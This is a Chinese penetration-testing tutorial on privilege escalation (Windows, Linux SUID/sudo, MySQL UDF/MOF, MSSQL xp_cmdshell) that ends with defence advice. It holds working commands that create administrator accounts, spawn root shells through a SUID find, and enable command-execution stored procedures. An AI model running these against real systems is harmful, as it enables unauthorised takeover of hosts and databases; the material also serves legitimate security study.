渗透---提权思路
字数 1588 2025-08-15 21:34:06

渗透测试中的提权思路详解

一、Webshell获取与反弹Shell

1. Webshell获取方法

  • 通过文件上传漏洞上传Webshell
  • 利用系统漏洞、服务器漏洞、第三方软件漏洞或数据库漏洞获取Shell

2. 反弹Shell技术

  • 使用Kali Linux的msfvenom生成反弹Shell脚本
  • 被控制端发起Shell(适用于防火墙受限、权限不足或端口被占用的情况)
  • 监听设置:使用msfconsole模块监听反弹Shell
  • 获取meterpreter会话后可进行权限提升(getsystem)、信息收集等操作

二、Windows系统提权方法

1. 系统溢出漏洞提权

操作步骤:

  1. 明确漏洞编号及版本
  2. 确认漏洞利用平台及版本
  3. 确保cmd执行权限正常运行
  4. 检查服务器防护软件情况

补丁信息收集方法:

  1. systeminfo命令查看系统详细信息
  2. meterpreter下执行run post/windows/gather/enum_patches
  3. 使用post/multi/recon/local_exploit_suggester模块识别可利用漏洞
  4. WMIC命令查看补丁:
    wmic qfe get Caption,Description,HotFixID,InstalledOn
    
  5. Windows Exploit Suggester工具对比系统补丁与漏洞数据库

2. 提权流程

  1. 生成反弹exe并通过msf获取meterpreter通道
  2. 筛选可用的exp模块
  3. 执行提权操作

三、Linux系统提权方法

1. 基础信息收集

uname -a
cat /etc/issue
cat /etc/passwd
ps aux | grep root

2. 内核漏洞提权

  1. 收集Linux内核版本信息
  2. 使用searchsploit搜索对应版本漏洞
  3. 下载并编译漏洞利用代码
  4. 执行提权

3. SUID提权

SUID概念:

  • 赋予文件的特殊权限,使执行者暂时获得文件拥有者权限
  • 仅对二进制程序有效
  • 执行者需要有可执行权限

查找SUID文件命令:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

常用可提权程序:

  • Nmap、Vim、find、Bash、More、Less、cp

a) Nmap提权

  • 旧版本Nmap(2.02-5.21)交互模式提权:
    nmap --interactive
    !sh
    
  • Metasploit模块:exploit/unix/local/setuid_nmap

b) find提权

  • 配置为SUID运行的find可执行任意命令

4. sudo提权

  • sudo允许已验证用户以其他用户身份执行命令
  • 检查sudo权限:sudo -l

四、数据库提权方法

1. MySQL提权

a) UDF提权

原理:

  • 利用root权限创建调用cmd函数的udf.dll
  • 将udf.dll导出到指定目录并引入MySQL

版本差异:

  • MySQL <5.1:udf.dll放在system32目录
  • MySQL >5.1:udf.dll放在lib\plugin目录(可能需要手动创建)

利用步骤:

create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user ndsec ndsecpw /add');
select cmdshell('net localgroup administrators ndsec /add');
drop function cmdshell;

b) MOF提权

条件:

  • Windows 2003及以下
  • MySQL有读写wbem/mof目录权限
  • secure-file-priv不为null

原理:

  • MOF文件每5秒执行一次系统权限脚本

c) 反弹端口提权

条件:

  • 获取数据库账号密码
  • secure_file_priv为空
  • 授权MySQL远程登录

d) 启动项提权

  • 写入VBS代码到启动项
  • 服务器重启时执行

e) Linux系统UDF提权

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chmod u+s /usr/bin/find');
find / -exec "/bin/sh" \;

2. MSSQL提权

a) xp_cmdshell提权

开启方法:

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 1;reconfigure;

关闭方法:

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;

b) sp_OACreate组件提权

开启方法:

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure;

添加用户示例:

declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'

c) 注册表存储过程xp_regwrite

  • 可用于修改注册表实现持久化等操作

五、其他提权技巧

  1. 替换粘贴键(sethc.exe)实现后门
  2. 利用计划任务实现持久化
  3. 服务权限滥用提权
  4. 不安全的服务配置提权

六、防御建议

  1. 及时安装系统补丁
  2. 限制SUID/SGID权限
  3. 严格控制sudo权限
  4. 数据库使用最小权限原则
  5. 禁用不必要的存储过程
  6. 监控异常进程和服务
  7. 实施严格的访问控制策略
渗透测试中的提权思路详解 一、Webshell获取与反弹Shell 1. Webshell获取方法 通过文件上传漏洞上传Webshell 利用系统漏洞、服务器漏洞、第三方软件漏洞或数据库漏洞获取Shell 2. 反弹Shell技术 使用Kali Linux的msfvenom生成反弹Shell脚本 被控制端发起Shell(适用于防火墙受限、权限不足或端口被占用的情况) 监听设置:使用msfconsole模块监听反弹Shell 获取meterpreter会话后可进行权限提升(getsystem)、信息收集等操作 二、Windows系统提权方法 1. 系统溢出漏洞提权 操作步骤: 明确漏洞编号及版本 确认漏洞利用平台及版本 确保cmd执行权限正常运行 检查服务器防护软件情况 补丁信息收集方法: systeminfo 命令查看系统详细信息 meterpreter下执行 run post/windows/gather/enum_patches 使用 post/multi/recon/local_exploit_suggester 模块识别可利用漏洞 WMIC命令查看补丁: Windows Exploit Suggester工具对比系统补丁与漏洞数据库 2. 提权流程 生成反弹exe并通过msf获取meterpreter通道 筛选可用的exp模块 执行提权操作 三、Linux系统提权方法 1. 基础信息收集 2. 内核漏洞提权 收集Linux内核版本信息 使用searchsploit搜索对应版本漏洞 下载并编译漏洞利用代码 执行提权 3. SUID提权 SUID概念: 赋予文件的特殊权限,使执行者暂时获得文件拥有者权限 仅对二进制程序有效 执行者需要有可执行权限 查找SUID文件命令: 常用可提权程序: Nmap、Vim、find、Bash、More、Less、cp a) Nmap提权 旧版本Nmap(2.02-5.21)交互模式提权: Metasploit模块: exploit/unix/local/setuid_nmap b) find提权 配置为SUID运行的find可执行任意命令 4. sudo提权 sudo允许已验证用户以其他用户身份执行命令 检查sudo权限: sudo -l 四、数据库提权方法 1. MySQL提权 a) UDF提权 原理: 利用root权限创建调用cmd函数的udf.dll 将udf.dll导出到指定目录并引入MySQL 版本差异: MySQL <5.1:udf.dll放在system32目录 MySQL >5.1:udf.dll放在lib\plugin目录(可能需要手动创建) 利用步骤: b) MOF提权 条件: Windows 2003及以下 MySQL有读写wbem/mof目录权限 secure-file-priv不为null 原理: MOF文件每5秒执行一次系统权限脚本 c) 反弹端口提权 条件: 获取数据库账号密码 secure_ file_ priv为空 授权MySQL远程登录 d) 启动项提权 写入VBS代码到启动项 服务器重启时执行 e) Linux系统UDF提权 2. MSSQL提权 a) xp_ cmdshell提权 开启方法: 关闭方法: b) sp_ OACreate组件提权 开启方法: 添加用户示例: c) 注册表存储过程xp_ regwrite 可用于修改注册表实现持久化等操作 五、其他提权技巧 替换粘贴键(sethc.exe)实现后门 利用计划任务实现持久化 服务权限滥用提权 不安全的服务配置提权 六、防御建议 及时安装系统补丁 限制SUID/SGID权限 严格控制sudo权限 数据库使用最小权限原则 禁用不必要的存储过程 监控异常进程和服务 实施严格的访问控制策略